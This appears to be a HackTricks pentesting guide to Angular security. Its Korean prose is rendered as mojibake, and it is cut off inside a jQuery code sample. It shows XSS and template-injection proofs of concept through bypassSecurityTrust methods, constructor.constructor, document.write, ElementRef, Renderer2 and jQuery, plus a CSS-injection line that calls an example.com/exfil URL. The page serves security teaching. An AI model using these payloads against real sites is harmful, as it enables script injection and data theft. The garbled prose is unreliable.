Angular
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
The Checklist
Checklist from here.
- Angularμ ν΄λΌμ΄μΈνΈ μΈ‘ νλ μμν¬λ‘ κ°μ£Όλλ©° μλ² μΈ‘ 보νΈλ₯Ό μ 곡ν κ²μΌλ‘ κΈ°λλμ§ μμ΅λλ€.
- νλ‘μ νΈ κ΅¬μ±μμ μ€ν¬λ¦½νΈμ μμ€ λ§΅μ΄ λΉνμ±νλμ΄ μμ΅λλ€.
- μ λ’°ν μ μλ μ¬μ©μ μ λ ₯μ νμ ν νλ¦Ώμμ μ¬μ©λκΈ° μ μ 보κ°λκ±°λ μ 리λ©λλ€.
- μ¬μ©μλ μλ² μΈ‘ λλ ν΄λΌμ΄μΈνΈ μΈ‘ ν νλ¦Ώμ λν μ μ΄ κΆνμ΄ μμ΅λλ€.
- μ λ’°ν μ μλ μ¬μ©μ μ λ ₯μ μ ν리μΌμ΄μ μμ μ λ’°νκΈ° μ μ μ μ ν 보μ 컨ν μ€νΈλ₯Ό μ¬μ©νμ¬ μ 리λ©λλ€.
-
BypassSecurity*λ©μλλ μ λ’°ν μ μλ μ λ ₯κ³Ό ν¨κ» μ¬μ©λμ§ μμ΅λλ€. - μ λ’°ν μ μλ μ¬μ©μ μ
λ ₯μ
ElementRef,Renderer2,Documentμ κ°μ Angular ν΄λμ€λ κΈ°ν JQuery/DOM μ±ν¬μ μ λ¬λμ§ μμ΅λλ€.
What is Angular
Angularλ κ°λ ₯ν λ° μ€ν μμ€ νλ‘ νΈ μλ νλ μμν¬λ‘ Googleμμ μ μ§ κ΄λ¦¬ν©λλ€. TypeScriptλ₯Ό μ¬μ©νμ¬ μ½λ κ°λ μ±κ³Ό λλ²κΉ μ ν₯μμν΅λλ€. κ°λ ₯ν 보μ λ©μ»€λμ¦μ ν΅ν΄ Angularλ XSS λ° μ€ν 리λλ μ κ³Ό κ°μ μΌλ°μ μΈ ν΄λΌμ΄μΈνΈ μΈ‘ μ·¨μ½μ μ λ°©μ§ν©λλ€. μλ² μΈ‘μμλ μ¬μ©ν μ μμ΄ μμͺ½μμ 보μ κ³ λ € μ¬νμ΄ μ€μν©λλ€.
Framework architecture
Angularμ κΈ°λ³Έ κ°λ μ λ μ μ΄ν΄νκΈ° μν΄ νμ κ°λ μ μ΄ν΄λ³΄κ² μ΅λλ€.
μΌλ°μ μΈ Angular νλ‘μ νΈλ λ³΄ν΅ λ€μκ³Ό κ°μ΅λλ€:
my-workspace/
βββ ... #workspace-wide configuration files
βββ src
β βββ app
β β βββ app.module.ts #defines the root module, that tells Angular how to assemble the application
β β βββ app.component.ts #defines the logic for the application's root component
β β βββ app.component.html #defines the HTML template associated with the root component
β β βββ app.component.css #defines the base CSS stylesheet for the root component
β β βββ app.component.spec.ts #defines a unit test for the root component
β β βββ app-routing.module.ts #provides routing capability for the application
β βββ lib
β β βββ src #library-specific configuration files
β βββ index.html #main HTML page, where the component will be rendered in
β βββ ... #application-specific configuration files
βββ angular.json #provides workspace-wide and project-specific configuration defaults
βββ tsconfig.json #provides the base TypeScript configuration for projects in the workspace
λ¬Έμμ λ°λ₯΄λ©΄, λͺ¨λ Angular μ ν리μΌμ΄μ
μ μ΅μν νλμ μ»΄ν¬λνΈ, μ¦ μ»΄ν¬λνΈ κ³μΈ΅μ DOMκ³Ό μ°κ²°νλ λ£¨νΈ μ»΄ν¬λνΈ(AppComponent)λ₯Ό κ°μ§κ³ μμ΅λλ€. κ° μ»΄ν¬λνΈλ μ ν리μΌμ΄μ
λ°μ΄ν°μ λ‘μ§μ ν¬ν¨νλ ν΄λμ€λ₯Ό μ μνλ©°, νκ² νκ²½μ νμλ λ·°λ₯Ό μ μνλ HTML ν
νλ¦Ώκ³Ό μ°κ²°λ©λλ€. @Component() λ°μ½λ μ΄ν°λ κ·Έ μλμ ν΄λμ€λ₯Ό μ»΄ν¬λνΈλ‘ μλ³νκ³ , ν
νλ¦Ώ λ° κ΄λ ¨ μ»΄ν¬λνΈ μ μ© λ©νλ°μ΄ν°λ₯Ό μ 곡ν©λλ€. AppComponentλ app.component.ts νμΌμ μ μλμ΄ μμ΅λλ€.
Angular NgModulesλ μ ν리μΌμ΄μ
λλ©μΈ, μν¬νλ‘μ° λλ λ°μ νκ² κ΄λ ¨λ κΈ°λ₯ μΈνΈλ₯Ό μν μ»΄νμΌ μ»¨ν
μ€νΈλ₯Ό μ μΈν©λλ€. λͺ¨λ Angular μ ν리μΌμ΄μ
μ μΌλ°μ μΌλ‘ AppModuleμ΄λΌλ μ΄λ¦μ λ£¨νΈ λͺ¨λμ κ°μ§κ³ μμΌλ©°, μ΄λ μ ν리μΌμ΄μ
μ μμνλ λΆνΈμ€νΈλ© λ©μ»€λμ¦μ μ 곡ν©λλ€. μ ν리μΌμ΄μ
μ μΌλ°μ μΌλ‘ λ§μ κΈ°λ₯ λͺ¨λμ ν¬ν¨ν©λλ€. AppModuleμ app.module.ts νμΌμ μ μλμ΄ μμ΅λλ€.
Angular Router NgModuleμ μ ν리μΌμ΄μ
μ λ€μν μνμ λ·° κ³μΈ΅ κ°μ νμ κ²½λ‘λ₯Ό μ μν μ μλ μλΉμ€λ₯Ό μ 곡ν©λλ€. RouterModuleμ app-routing.module.ts νμΌμ μ μλμ΄ μμ΅λλ€.
νΉμ λ·°μ μ°κ²°λμ§ μμ λ°μ΄ν°λ λ‘μ§μ 곡μ νκ³ μΆλ€λ©΄ μλΉμ€ ν΄λμ€λ₯Ό μμ±ν©λλ€. μλΉμ€ ν΄λμ€ μ μλ μ¦μ @Injectable() λ°μ½λ μ΄ν°λ‘ μμλ©λλ€. μ΄ λ°μ½λ μ΄ν°λ λ€λ₯Έ μ 곡μκ° ν΄λμ€μ μμ‘΄μ±μΌλ‘ μ£Όμ
λ μ μλλ‘ νλ λ©νλ°μ΄ν°λ₯Ό μ 곡ν©λλ€. μμ‘΄μ± μ£Όμ
(DI)μ μ»΄ν¬λνΈ ν΄λμ€λ₯Ό κ°κ²°νκ³ ν¨μ¨μ μΌλ‘ μ μ§ν μ μκ² ν΄μ€λλ€. μ΄λ€μ μλ²μμ λ°μ΄ν°λ₯Ό κ°μ Έμ€κ±°λ, μ¬μ©μ μ
λ ₯μ κ²μ¦νκ±°λ, μ½μμ μ§μ λ‘κ·Έλ₯Ό λ¨κΈ°μ§ μμΌλ©°, μ΄λ¬ν μμ
μ μλΉμ€μ μμν©λλ€.
Sourcemap ꡬμ±
Angular νλ μμν¬λ tsconfig.json μ΅μ
μ λ°λ₯΄λ©° TypeScript νμΌμ JavaScript μ½λλ‘ λ³νν ν angular.json ꡬμ±μΌλ‘ νλ‘μ νΈλ₯Ό λΉλν©λλ€. angular.json νμΌμ μ΄ν΄λ³΄λ©΄ μμ€λ§΅μ νμ±ννκ±°λ λΉνμ±ννλ μ΅μ
μ΄ μμμ νμΈνμ΅λλ€. Angular λ¬Έμμ λ°λ₯΄λ©΄, κΈ°λ³Έ ꡬμ±μ μ€ν¬λ¦½νΈμ λν΄ μμ€λ§΅ νμΌμ΄ νμ±νλμ΄ μμΌλ©° κΈ°λ³Έμ μΌλ‘ μ¨κ²¨μ Έ μμ§ μμ΅λλ€:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
μΌλ°μ μΌλ‘, sourcemap νμΌμ μμ±λ νμΌμ μλ³Έ νμΌμ λ§€ννμ¬ λλ²κΉ λͺ©μ μΌλ‘ μ¬μ©λ©λλ€. λ°λΌμ νλ‘λμ νκ²½μμ μ¬μ©νλ κ²μ κΆμ₯λμ§ μμ΅λλ€. sourcemapsκ° νμ±νλλ©΄ Angular νλ‘μ νΈμ μλ μνλ₯Ό 볡μ νμ¬ κ°λ μ±μ λμ΄κ³ νμΌ λΆμμ λμμ΄ λ©λλ€. κ·Έλ¬λ λΉνμ±νλ κ²½μ°, κ²ν μλ 보μ ν¨ν΄μ κ²μνμ¬ μ»΄νμΌλ JavaScript νμΌμ μλμΌλ‘ λΆμν μ μμ΅λλ€.
λν, Angular νλ‘μ νΈμ μ»΄νμΌλ JavaScript νμΌμ λΈλΌμ°μ κ°λ°μ λꡬ β Sources (λλ Debugger and Sources) β [id].main.jsμμ μ°Ύμ μ μμ΅λλ€. νμ±νλ μ΅μ
μ λ°λΌ μ΄ νμΌμ λμ //# sourceMappingURL=[id].main.js.map νμ΄ ν¬ν¨λ μ μμΌλ©°, hidden μ΅μ
μ΄ trueλ‘ μ€μ λ κ²½μ° ν¬ν¨λμ§ μμ μ μμ΅λλ€. κ·ΈλΌμλ λΆκ΅¬νκ³ scriptsμ λν΄ sourcemapμ΄ λΉνμ±νλλ©΄ ν
μ€νΈκ° λ 볡μ‘ν΄μ§κ³ νμΌμ μ»μ μ μμ΅λλ€. λν, νλ‘μ νΈ λΉλ μ€μ ng build --source-mapμ κ°μ΄ sourcemapμ νμ±νν μ μμ΅λλ€.
λ°μ΄ν° λ°μΈλ©
λ°μΈλ©μ κ΅¬μ± μμμ ν΄λΉ λ·° κ°μ ν΅μ νλ‘μΈμ€λ₯Ό λνλ λλ€. μ΄λ Angular νλ μμν¬μ λ°μ΄ν° μ μ‘μ μ¬μ©λ©λλ€. λ°μ΄ν°λ μ΄λ²€νΈ, 보κ°, μμ± λλ μλ°©ν₯ λ°μΈλ© λ©μ»€λμ¦μ ν΅ν΄ μ λ¬λ μ μμ΅λλ€. λν, λ°μ΄ν°λ κ΄λ ¨ κ΅¬μ± μμ(λΆλͺ¨-μμ κ΄κ³) κ° λ° λ κ°μ κ΄λ ¨ μλ κ΅¬μ± μμ κ°μ Service κΈ°λ₯μ μ¬μ©νμ¬ κ³΅μ λ μ μμ΅λλ€.
λ°μΈλ©μ λ°μ΄ν° νλ¦μ λ°λΌ λΆλ₯ν μ μμ΅λλ€:
- λ°μ΄ν° μμ€μμ λ·° λμκΉμ§ (ν¬ν¨ interpolation, properties, attributes, classes λ° styles); ν
νλ¦Ώμμ
[]λλ{{}}λ₯Ό μ¬μ©νμ¬ μ μ©ν μ μμ΅λλ€; - λ·° λμμμ λ°μ΄ν° μμ€κΉμ§ (ν¬ν¨ events); ν
νλ¦Ώμμ
()λ₯Ό μ¬μ©νμ¬ μ μ©ν μ μμ΅λλ€; - μλ°©ν₯; ν
νλ¦Ώμμ
[()]λ₯Ό μ¬μ©νμ¬ μ μ©ν μ μμ΅λλ€.
λ°μΈλ©μ μμ±, μ΄λ²€νΈ λ° μμ±λΏλ§ μλλΌ μμ€ μ§μλ¬Έμ λͺ¨λ κ³΅κ° λ©€λ²μμ νΈμΆν μ μμ΅λλ€:
| TYPE | TARGET | EXAMPLES |
|---|---|---|
| Property | Element property, Component property, Directive property | <img [alt]=βhero.nameβ [src]=βheroImageUrlβ> |
| Event | Element event, Component event, Directive event | <button type=βbuttonβ (click)=βonSave()β>Save |
| Two-way | Event and property | <input [(ngModel)]=βnameβ> |
| Attribute | Attribute (the exception) | <button type=βbuttonβ [attr.aria-label]=βhelpβ>help |
| Class | class property | <div [class.special]=βisSpecialβ>Special |
| Style | style property | <button type=βbuttonβ [style.color]=βisSpecial ? βredβ : βgreenββ> |
Angular 보μ λͺ¨λΈ
Angularμ μ€κ³λ κΈ°λ³Έμ μΌλ‘ λͺ¨λ λ°μ΄ν°λ₯Ό μΈμ½λ©νκ±°λ μ ννμ¬ XSS μ·¨μ½μ μ λ°κ²¬νκ³ μ μ©νκΈ° μ μ λ μ΄λ ΅κ² λ§λλλ€. λ°μ΄ν° μ²λ¦¬μλ λ κ°μ§ λλ ·ν μλ리μ€κ° μμ΅λλ€:
- λ³΄κ° λλ
{{user_input}}- 컨ν μ€νΈμ λ―Όκ°ν μΈμ½λ©μ μννκ³ μ¬μ©μ μ λ ₯μ ν μ€νΈλ‘ ν΄μν©λλ€;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
κ²°κ³Ό: <script>alert(1)</script><h1>test</h1>
2. μμ±, μμ±, ν΄λμ€ λ° μ€νμΌμ λ°μΈλ© λλ [attribute]="user_input" - μ 곡λ 보μ 컨ν
μ€νΈμ λ°λΌ μ νλ₯Ό μνν©λλ€.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
κ²°κ³Ό: <div><h1>test</h1></div>
SecurityContextμ μ νμ 6κ°μ§μ
λλ€:
None;HTMLμ κ°μ HTMLλ‘ ν΄μν λ μ¬μ©λ©λλ€;STYLEμstyleμμ±μ CSSλ₯Ό λ°μΈλ©ν λ μ¬μ©λ©λλ€;URLμ<a href>μ κ°μ URL μμ±μ μ¬μ©λ©λλ€;SCRIPTλ JavaScript μ½λμ μ¬μ©λ©λλ€;RESOURCE_URLμ μ½λλ‘ λ‘λλκ³ μ€νλλ URLλ‘, μλ₯Ό λ€μ΄<script src>μμ μ¬μ©λ©λλ€.
μ·¨μ½μ
보μ μ λ’° μ°ν λ°©λ²
Angularλ κΈ°λ³Έ μ ν νλ‘μΈμ€λ₯Ό μ°ννκ³ νΉμ 컨ν μ€νΈμμ κ°μ΄ μμ νκ² μ¬μ©λ μ μμμ λνλ΄κΈ° μν΄ λ€μ λ€μ― κ°μ§ μμ κ°μ λ°©λ² λͺ©λ‘μ λμ ν©λλ€:
bypassSecurityTrustUrlμ μ£Όμ΄μ§ κ°μ΄ μμ ν μ€νμΌ URLμμ λνλ΄λ λ° μ¬μ©λ©λλ€:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
bypassSecurityTrustResourceUrlμ μ£Όμ΄μ§ κ°μ΄ μμ ν 리μμ€ URLμμ λνλ΄λ λ° μ¬μ©λ©λλ€:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtmlμ μ£Όμ΄μ§ κ°μ΄ μμ ν HTMLμμ λνλ΄λ λ° μ¬μ©λ©λλ€. μ΄ λ°©λ²μΌλ‘ DOM νΈλ¦¬μscriptμμλ₯Ό μ½μ νλ©΄ ν¬ν¨λ JavaScript μ½λκ° μ€νλμ§ μμ΅λλ€.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScriptλ μ£Όμ΄μ§ κ°μ΄ μμ ν JavaScriptμμ λνλ΄λ λ° μ¬μ©λ©λλ€. κ·Έλ¬λ μ΄ λ°©λ²μ μ¬μ©νμ¬ ν νλ¦Ώμμ JS μ½λλ₯Ό μ€νν μ μκΈ° λλ¬Έμ κ·Έ λμμ΄ μμΈ‘ν μ μμμ λ°κ²¬νμ΅λλ€.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//result
-
bypassSecurityTrustStyleμ μ£Όμ΄μ§ κ°μ΄ μμ ν CSSμμ λνλ΄λ λ° μ¬μ©λ©λλ€. λ€μ μλ CSS μ£Όμ μ μ€λͺ ν©λλ€:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//result
Request URL: GET example.com/exfil/a
Angularλ λ·°μ νμνκΈ° μ μ λ°μ΄ν°λ₯Ό μ ννκΈ° μν΄ sanitize λ©μλλ₯Ό μ 곡ν©λλ€. μ΄ λ©μλλ μ 곡λ 보μ 컨ν
μ€νΈλ₯Ό μ¬μ©νκ³ μ
λ ₯μ μ μ νκ² μ νν©λλ€. κ·Έλ¬λ νΉμ λ°μ΄ν° λ° μ»¨ν
μ€νΈμ λν΄ μ¬λ°λ₯Έ 보μ 컨ν
μ€νΈλ₯Ό μ¬μ©νλ κ²μ΄ μ€μν©λλ€. μλ₯Ό λ€μ΄, HTML μ½ν
μΈ μ SecurityContext.URLμ μ μ©νλ©΄ μνν HTML κ°μ λν 보νΈλ₯Ό μ 곡νμ§ μμ΅λλ€. μ΄λ¬ν μλ리μ€μμ 보μ 컨ν
μ€νΈμ μ€μ©μ XSS μ·¨μ½μ μΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
HTML μ£Όμ
μ΄ μ·¨μ½μ μ μ¬μ©μ μ
λ ₯μ΄ innerHTML, outerHTML λλ iframe srcdocμ μΈ κ°μ§ μμ± μ€ νλμ λ°μΈλ©λ λ λ°μν©λλ€. μ΄λ¬ν μμ±μ λ°μΈλ©νλ©΄ HTMLμ΄ κ·Έλλ‘ ν΄μλλ©°, μ
λ ₯μ SecurityContext.HTMLμ μ¬μ©νμ¬ μ νλ©λλ€. λ°λΌμ HTML μ£Όμ
μ κ°λ₯νμ§λ§ κ΅μ°¨ μ¬μ΄νΈ μ€ν¬λ¦½ν
(XSS)μ λΆκ°λ₯ν©λλ€.
innerHTMLμ μ¬μ©νλ μ:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
test
ν νλ¦Ώ μ£Όμ
ν΄λΌμ΄μΈνΈ μΈ‘ λ λλ§ (CSR)
Angularλ ν
νλ¦Ώμ νμ©νμ¬ νμ΄μ§λ₯Ό λμ μΌλ‘ ꡬμ±ν©λλ€. μ΄ μ κ·Ό λ°©μμ Angularκ° νκ°ν ν
νλ¦Ώ ννμμ μ΄μ€ μ€κ΄νΈ({{}})λ‘ κ°μΈλ κ²μ ν¬ν¨ν©λλ€. μ΄λ κ² ν¨μΌλ‘μ¨ νλ μμν¬λ μΆκ° κΈ°λ₯μ μ 곡ν©λλ€. μλ₯Ό λ€μ΄, {{1+1}}μ κ°μ ν
νλ¦Ώμ 2λ‘ νμλ©λλ€.
μΌλ°μ μΌλ‘ Angularλ ν νλ¦Ώ ννμκ³Ό νΌλλ μ μλ μ¬μ©μ μ λ ₯μ μ΄μ€μΌμ΄νν©λλ€ (μ: `< > β β ``μ κ°μ λ¬Έμ). μ΄λ λΈλ리μ€νΈ λ¬Έμλ₯Ό μ¬μ©νμ§ μκΈ° μν΄ JavaScript λ¬Έμμ΄ κ°μ²΄λ₯Ό μμ±νλ ν¨μλ₯Ό νμ©νλ λ± μ΄ μ νμ μ°ννκΈ° μν΄ μΆκ° λ¨κ³κ° νμν¨μ μλ―Έν©λλ€. κ·Έλ¬λ μ΄λ₯Ό λ¬μ±νκΈ° μν΄μλ Angularμ 컨ν μ€νΈ, μμ± λ° λ³μλ₯Ό κ³ λ €ν΄μΌ ν©λλ€. λ°λΌμ ν νλ¦Ώ μ£Όμ 곡격μ λ€μκ³Ό κ°μ΄ λνλ μ μμ΅λλ€:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
μμμ μ€λͺ
ν λ°μ κ°μ΄: constructorλ Object constructor μμ±μ λ²μλ₯Ό λνλ΄λ©°, μ΄λ₯Ό ν΅ν΄ String μμ±μλ₯Ό νΈμΆνκ³ μμμ μ½λλ₯Ό μ€νν μ μμ΅λλ€.
μλ² μ¬μ΄λ λ λλ§ (SSR)
CSRκ³Ό λ¬λ¦¬, Angular Universalμ ν νλ¦Ώ νμΌμ SSRμ λ΄λΉν©λλ€. μ΄λ¬ν νμΌμ μ¬μ©μμκ² μ λ¬λ©λλ€. μ΄λ¬ν ꡬλΆμλ λΆκ΅¬νκ³ , Angular Universalμ SSR 보μμ κ°ννκΈ° μν΄ CSRμμ μ¬μ©λλ λμΌν μΈμ² λ©μ»€λμ¦μ μ μ©ν©λλ€. SSRμμμ ν νλ¦Ώ μ£Όμ μ·¨μ½μ μ CSRμμμ λμΌν λ°©μμΌλ‘ λ°κ²¬λ μ μμΌλ©°, μ¬μ©λλ ν νλ¦Ώ μΈμ΄κ° λμΌνκΈ° λλ¬Έμ λλ€.
λ¬Όλ‘ , Pug λ° Handlebarsμ κ°μ μλνν° ν νλ¦Ώ μμ§μ μ¬μ©ν λ μλ‘μ΄ ν νλ¦Ώ μ£Όμ μ·¨μ½μ μ΄ λ°μν κ°λ₯μ±λ μμ΅λλ€.
XSS
DOM μΈν°νμ΄μ€
μμ μΈκΈν λ°μ κ°μ΄, μ°λ¦¬λ Document μΈν°νμ΄μ€λ₯Ό μ¬μ©νμ¬ DOMμ μ§μ μ κ·Όν μ μμ΅λλ€. μ¬μ©μ μ λ ₯μ΄ μ¬μ μ κ²μ¦λμ§ μμΌλ©΄ κ΅μ°¨ μ¬μ΄νΈ μ€ν¬λ¦½ν (XSS) μ·¨μ½μ μΌλ‘ μ΄μ΄μ§ μ μμ΅λλ€.
μλ μμ μμλ document.write() λ° document.createElement() λ©μλλ₯Ό μ¬μ©νμ΅λλ€:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angular ν΄λμ€
Angularμμ DOM μμμ μμ
νλ λ° μ¬μ©ν μ μλ λͺ κ°μ§ ν΄λμ€κ° μμ΅λλ€: ElementRef, Renderer2, Location λ° Document. λ§μ§λ§ λ ν΄λμ€μ λν μμΈν μ€λͺ
μ Open redirects μΉμ
μ λμ μμ΅λλ€. 첫 λ²μ§Έ λ ν΄λμ€μ μ£Όμ μ°¨μ΄μ μ Renderer2 APIκ° DOM μμμ κ΅¬μ± μμ μ½λ μ¬μ΄μ μΆμν κ³μΈ΅μ μ 곡νλ λ°λ©΄, ElementRefλ λ¨μν μμμ λν μ°Έμ‘°λ₯Ό 보μ νλ€λ κ²μ
λλ€. λ°λΌμ Angular λ¬Έμμ λ°λ₯΄λ©΄, ElementRef APIλ DOMμ λν μ§μ μ‘μΈμ€κ° νμν λ μ΅νμ μλ¨μΌλ‘λ§ μ¬μ©ν΄μΌ ν©λλ€.
ElementRefλ DOM μμλ₯Ό μ‘°μνλ λ° μ¬μ©ν μ μλnativeElementμμ±μ ν¬ν¨ν©λλ€. κ·Έλ¬λnativeElementμ λΆμ μ ν μ¬μ©μ μλμ κ°μ΄ XSS μ£Όμ μ·¨μ½μ μ μ΄λν μ μμ΅λλ€:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
Renderer2κ° κΈ°λ³Έ μμμ λν μ§μ μ‘μΈμ€κ° μ§μλμ§ μμ λλ μμ νκ² μ¬μ©ν μ μλ APIλ₯Ό μ 곡νμ§λ§, μ¬μ ν λͺ κ°μ§ 보μ κ²°ν¨μ΄ μμ΅λλ€.Renderer2λ₯Ό μ¬μ©νλ©΄setAttribute()λ©μλλ₯Ό μ¬μ©νμ¬ HTML μμμ μμ±μ μ€μ ν μ μμΌλ©°, μ΄ λ©μλλ XSS λ°©μ§ λ©μ»€λμ¦μ΄ μμ΅λλ€.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- DOM μμμ μμ±μ μ€μ νλ €λ©΄
Renderer2.setProperty()λ©μλλ₯Ό μ¬μ©νκ³ XSS 곡격μ μ λ°ν μ μμ΅λλ€:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
μ°κ΅¬ μ€μ μ°λ¦¬λ XSS λ° CSS μ£Όμ
κ³Ό κ΄λ ¨νμ¬ Renderer2μ λ€λ₯Έ λ©μλμΈ setStyle(), createComment(), λ° setValue()μ λμλ κ²ν νμ΅λλ€. κ·Έλ¬λ μ΄ λ©μλμ κΈ°λ₯μ μ νμΌλ‘ μΈν΄ μ ν¨ν 곡격 벑ν°λ₯Ό μ°Ύμ μ μμμ΅λλ€.
jQuery
jQueryλ HTML DOM κ°μ²΄ μ‘°μμ λκΈ° μν΄ Angular νλ‘μ νΈμμ μ¬μ©ν μ μλ λΉ λ₯΄κ³ μκ³ κΈ°λ₯μ΄ νλΆν JavaScript λΌμ΄λΈλ¬λ¦¬μ λλ€. κ·Έλ¬λ μ΄ λΌμ΄λΈλ¬λ¦¬μ λ©μλλ XSS μ·¨μ½μ μ λ¬μ±νκΈ° μν΄ μ μ©λ μ μλ κ²μΌλ‘ μλ €μ Έ μμ΅λλ€. μ·¨μ½ν jQuery λ©μλκ° Angular νλ‘μ νΈμμ μ΄λ»κ² μ μ©λ μ μλμ§ λ ΌμνκΈ° μν΄ μ΄ νμ μΉμ μ μΆκ°νμ΅λλ€.
html()λ©μλλ μΌμΉνλ μμ μ§ν©μ 첫 λ²μ§Έ μμμ HTML λ΄μ©μ κ°μ Έμ€κ±°λ λͺ¨λ μΌμΉνλ μμμ HTML λ΄μ©μ μ€μ ν©λλ€. κ·Έλ¬λ μ€κ³μ HTML λ¬Έμμ΄μ μμ©νλ λͺ¨λ jQuery μμ±μ λλ λ©μλλ μ μ¬μ μΌλ‘ μ½λλ₯Ό μ€νν μ μμ΅λλ€. μ΄λ<script>νκ·Έμ μ£Όμ λλ μ½λλ₯Ό μ€ννλ HTML μμ±μ μ¬μ©μΌλ‘ λ°μν μ μμ΅λλ€.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
jQuery.parseHTML()λ©μλλ λ¬Έμμ΄μ DOM λ Έλ μ§ν©μΌλ‘ λ³ννκΈ° μν΄ κΈ°λ³Έ λ©μλλ₯Ό μ¬μ©νλ©°, μ΄ λ Έλλ λ¬Έμμ μ½μ λ μ μμ΅λλ€.
jQuery.parseHTML(data [, context ] [, keepScripts ])
μμ μΈκΈνλ―μ΄ HTML λ¬Έμμ΄μ μμ©νλ λλΆλΆμ jQuery APIλ HTMLμ ν¬ν¨λ μ€ν¬λ¦½νΈλ₯Ό μ€νν©λλ€. jQuery.parseHTML() λ©μλλ keepScriptsκ° λͺ
μμ μΌλ‘ trueκ° μλ ν νμ±λ HTMLμμ μ€ν¬λ¦½νΈλ₯Ό μ€ννμ§ μμ΅λλ€. κ·Έλ¬λ λλΆλΆμ νκ²½μμ <img onerror> μμ±μ ν΅ν΄ κ°μ μ μΌλ‘ μ€ν¬λ¦½νΈλ₯Ό μ€ννλ κ²μ μ¬μ ν κ°λ₯ν©λλ€.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
